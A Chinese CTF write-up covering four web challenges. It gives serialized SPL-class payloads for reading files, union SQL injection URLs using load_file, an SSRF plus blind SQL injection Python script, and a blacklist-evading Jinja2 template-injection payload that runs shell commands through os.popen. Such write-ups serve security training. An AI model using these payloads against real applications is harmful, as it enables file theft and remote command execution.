ez_serialize
- 这题二血

题目直接给出代码,可以动态拼接类。盲猜就是原生类去读文件了。https://www.php.net/manual/zh/book.spl.php
SLP类中存在能够进行文件处理和迭代的类:
类 | 描述 |
---|---|
DirectoryIterator | 遍历目录 |
FilesystemIterator | 遍历目录 |
GlobIterator | 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag* |
SplFileObject | 读取文件,按行读取,多行需要遍历 |
finfo/finfo_open() | 需要两个参数 |
源码: |
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
} hello ctfer
- 直接读取
/var/www/html
下文件有哪些,得到一个flag所在的文件夹,再遍历这个文件夹发现存在flag.php
<?php
class A{
public $class='FilesystemIterator';
public $para="/var/www/html";
public $check;
}
$o = new A();
echo serialize($o);

- 读取flag
<?php
class A{
public $class='SplFileObject';
public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
public $check;
}
$o = new A();
echo serialize($o);

BestDB
送分注入,联合注入读文件,注意的是文件在/flag,而非题目提示的flag.txt
http://e4c364fb-d7e4-4a4c-9275-817ebf81e670.machine.dasctf.com/?query=lisi%22%09union%09select%091,2,3%23
http://e4c364fb-d7e4-4a4c-9275-817ebf81e670.machine.dasctf.com/?query=lisi%22%09union%09select%091,(select%09f1agdas%09from%09f1agdas%09where%09id%09=1),3%23
http://e4c364fb-d7e4-4a4c-9275-817ebf81e670.machine.dasctf.com/?query=lisi%22%09union%09select%091,(select%09f1agdas%09from%09f1agdas%09where%09id%09=1),3%23
http://e4c364fb-d7e4-4a4c-9275-817ebf81e670.machine.dasctf.com/?query=lisi%22%09union%09select%09load_file(0x2F666C6167),2,3%23
ez_login
给出源码:
Index.php
<?php
if(!isset($_SESSION)){
highlight_file(__FILE__);
die("no session");
}
include("./php/check_ip.php");
error_reporting(0);
$url = $_GET['url'];
if(check_inner_ip($url)){
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
curl_close($ch);
}
}else{
echo "Your IP is internal yoyoyo";
}
?>
se1f_log3n.php
<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
exit();
}else{
try{
$sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
$result = $con->query($sql);
echo $sql;
}catch(Exception $e){
echo $e->getMessage();
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') ));
}
第一点绕过SESSION只需要PHP_SESSION_UPLOAD_PROGRESS
就完事了。注入Boo了盲注,去睡了一觉起来做的,时间不够,写出脚本时候靶机已经关闭了。贴一下脚本好了:
# coding=utf-8
import io
import requests
import threading
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
flag = ''
sessid = 'flag'
for i in range(1,70):
for j in tables:
url = "http://6ac49c07-405e-454b-8b76-50c4b3adb45d.machine.dasctf.com/?url=http://localhost/se1f_Log3n.php?username=admin' password regexp binary %s-- #&password=admin"%(j)
f = io.BytesIO(b'a' * 1024 * 50)
session = requests.session()
resp = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': 'x'},files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})
if 'wrong' not in resp.text:
flag = flag +j
print(j)
baby_flask
看源码发现过滤了如下
blacklist</br>
'.','[','\'','"',''\\','+',':','_',</br>
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>
</br>
数字被过滤了可以使用这些特殊的数字来绕过
然后就可以使用join
进行拼接构造出一些我们想要的字符
{%set a=dict(po=aa,p=aa)|join%} # pop
{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%} # _
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} # globals
{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%} # getitem
{%set e=dict(o=cc,s=aa)|join%} # os
{%set f=lipsum|string|list|attr(a)(𝟡)%} # 空格
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%} # 斜杠
{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%} # cat /flag
{%set h=(a,dict(en=aa)|join|join)|join%} # popen
{%set i=dict(re=aa,ad=aa)|join%} # read
{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%} #点
{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%} #ls /var/www/flask
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}
#最后拼接起来
#{{lipsum.__globals__['os'].popen('ls /var/www/flask').read()}}
最后的payload
如下,成功执行ls /var/www/flask
就可以看到flag
了
name={%set a=dict(po=aa,p=aa)|join%}{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{%set f=lipsum|string|list|attr(a)(𝟡)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%}{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}{%set h=(a,dict(en=aa)|join|join)|join%}{%set i=dict(re=aa,ad=aa)|join%}{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%}{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%}{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}
###